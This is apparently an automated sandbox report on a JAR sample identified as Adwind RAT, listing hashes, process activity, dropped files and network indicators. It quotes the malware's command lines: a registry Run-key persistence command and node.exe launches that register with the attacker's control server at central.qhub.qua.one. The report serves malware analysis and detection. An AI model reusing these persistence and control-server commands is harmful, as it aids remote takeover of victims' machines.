File name:

Kafan_Sample_77ad06f5cddfc7fe9a902173dfc3b890ea4a86614168c9f5b25766cef071759b.jar

Full analysis: https://app.any.run/tasks/c81afa05-d1a6-446e-a449-b913e58e161a
Verdict: Malicious activity
Threats:

Adwind RAT, sometimes also called Unrecom, Sockrat, Frutas, jRat, and JSocket, is a Malware As A Service Remote Access Trojan that attackers can use to collect information from infected machines. It was one of the most popular RATs in the market in 2015.

Analysis date: May 30, 2020, 07:14:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
adwind
rat
Indicators:
MIME: application/java-archive
File info: Java archive data (JAR)
MD5:

E635D75A5BC015838D903D49A2EFBE9E

SHA1:

1DFBC2A22C7F67839A5AF88071BB888C96C8684F

SHA256:

77AD06F5CDDFC7FE9A902173DFC3B890EA4A86614168C9F5B25766CEF071759B

SSDEEP:

96:URnRphNdEgZX9RI31jns/dcXy7D+nUQQIFt1d/HNvVa71APcna2pe9uboRtox8X+:CRzNdTZXA317slGqgnoucnKRtsllii

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Connects to CnC server

      • javaw.exe (PID: 2024)
      • node.exe (PID: 4028)
      • node.exe (PID: 3920)
    • ADWIND was detected

      • node.exe (PID: 4028)
      • javaw.exe (PID: 2024)
      • node.exe (PID: 3920)
    • Changes the autorun value in the registry

      • reg.exe (PID: 3916)
  • SUSPICIOUS

    • Application launched itself

      • node.exe (PID: 4028)
    • Executable content was dropped or overwritten

      • javaw.exe (PID: 2024)
    • Starts CMD.EXE for commands execution

      • node.exe (PID: 4028)
    • Creates files in the user directory

      • javaw.exe (PID: 2024)
    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3628)
    • Reads CPU info

      • node.exe (PID: 3920)
  • INFO

    • Dropped object may contain Bitcoin addresses

      • javaw.exe (PID: 2024)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.jar | Java Archive (78.3)
.zip | ZIP compressed archive (21.6)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0808
ZipCompression: Deflated
ZipModifyDate: 2020:05:25 09:16:26
ZipCRC: 0x00000000
ZipCompressedSize: 2
ZipUncompressedSize: -
ZipFileName: META-INF/
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #ADWIND javaw.exe #ADWIND node.exe cmd.exe no specs reg.exe #ADWIND node.exe

Process information

PID
CMD
Path
Indicators
Parent process
2024"C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe" -jar "C:\Users\admin\Desktop\Kafan_Sample_77ad06f5cddfc7fe9a902173dfc3b890ea4a86614168c9f5b25766cef071759b.jar"C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe
explorer.exe
User:
admin
Company:
Oracle Corporation
Integrity Level:
MEDIUM
Description:
Java(TM) Platform SE binary
Exit code:
0
Version:
8.0.920.14
Modules
Images
c:\program files\java\jre1.8.0_92\bin\javaw.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3628C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ea019c0f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd\"""C:\Windows\system32\cmd.exenode.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3916REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-ea019c0f" /t REG_SZ /F /D "cmd /D /C \"C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd\""C:\Windows\system32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3920C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-win32-ia32.js serve start --group user:7@qhub-subscription.store.qua.one --register-startup --central-base-url https://central.qhub.qua.one --central-base-url https://3769683.middlegate.qua.one --central-base-url https://fake1.3769683.middlegate.qua.one --central-base-url invalid.https://3769683.middlegate.qua.oneC:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe
node.exe
User:
admin
Company:
Node.js
Integrity Level:
MEDIUM
Description:
Node.js: Server-side JavaScript
Exit code:
0
Version:
13.13.0
Modules
Images
c:\users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\dbghelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
4028C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\wizard.js start --group user:7@qhub-subscription.store.qua.one --register-startup --central-base-url https://central.qhub.qua.one --central-base-url https://3769683.middlegate.qua.one --central-base-url https://fake1.3769683.middlegate.qua.one --central-base-url invalid.https://3769683.middlegate.qua.oneC:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe
javaw.exe
User:
admin
Company:
Node.js
Integrity Level:
MEDIUM
Description:
Node.js: Server-side JavaScript
Exit code:
0
Version:
13.13.0
Modules
Images
c:\users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\dbghelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
Total events
32
Read events
31
Write events
1
Delete events
0

Modification events

(PID) Process:(3916) reg.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:qnodejs-ea019c0f
Value:
cmd /D /C "C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\qnodejs-ea019c0f.cmd"
Executable files
1
Suspicious files
2
Text files
3 709
Unknown types
11

Dropped files

PID
Process
Filename
Type
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node.exe
MD5:
SHA256:
2024javaw.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamptext
MD5:
SHA256:
2024javaw.exeC:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\83aa4cc77f591dfc2374580bbd95f6ba_90059c37-1320-41a4-b58d-2b75a9850d2fdbf
MD5:C8366AE350E7019AEFC9D1E6E6A498C6
SHA256:11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\install_tools.battext
MD5:4E46AD93BAC466280DED1D0C19863A26
SHA256:4B1E875422E7A3BA28DC1A618E7569A27E2A491C161E0ADB742434B14F773BED
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\nodevars.battext
MD5:E6636C5B093F5CC13DFB7508305B8D8B
SHA256:A2B020E2F641524C6FD1B8EBBCD9EE03C7DC44009F2B78E701E773AD048BE9A5
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\LICENSEtext
MD5:698CF46FBBD1EF7145D1D4F4977E9743
SHA256:EAC4065F78A73669E3058A72CB936D5C79E7CE766C6ACF87A6AB37CF8D702064
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_etw_provider.mantext
MD5:1D51E18A7247F47245B0751F16119498
SHA256:1975AA34C1050B8364491394CEBF6E668E2337C3107712E3EECA311262C7C46F
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\bin\node-gyp-bin\node-gyp.cmdtext
MD5:BB78133F243EC53A16C89C436AB54216
SHA256:8CB8B915E6F433F7F8994EAE04E74595D5A169D1E593833BB4A5F2CBE213F02D
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\bin\npmtext
MD5:BA553D663CD364A71842375B7613DED2
SHA256:C7326730E2E51652DC605BCA7CEE7199E6362DD6AE97C8352586E8E96D2CD9D1
2024javaw.exeC:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2376315102\node-v13.13.0-win-x86\node_modules\npm\bin\npm.cmdtext
MD5:D5B5ACB61C9BF69FB8BFC65EBA28C6AB
SHA256:AFA68B96334EA8493BCB908743AF3DBD619CF26BE7B44460179ABD4D75D849D2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
3
Threats
5

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2024
javaw.exe
104.20.22.46:443
nodejs.org
Cloudflare Inc
US
shared
2024
javaw.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
4028
node.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
3920
node.exe
64.225.101.88:443
central.qhub.qua.one
Peer 1 Network (USA) Inc.
US
malicious
3920
node.exe
51.15.23.91:443
wtfismyip.com
Online S.a.s.
NL
suspicious

DNS requests

Domain
IP
Reputation
nodejs.org
  • 104.20.22.46
  • 104.20.23.46
whitelisted
central.qhub.qua.one
  • 64.225.101.88
whitelisted
wtfismyip.com
  • 51.15.23.91
shared

Threats

Found threats are available for the paid subscriptions
5 ETPRO signatures available at the full report
No debug info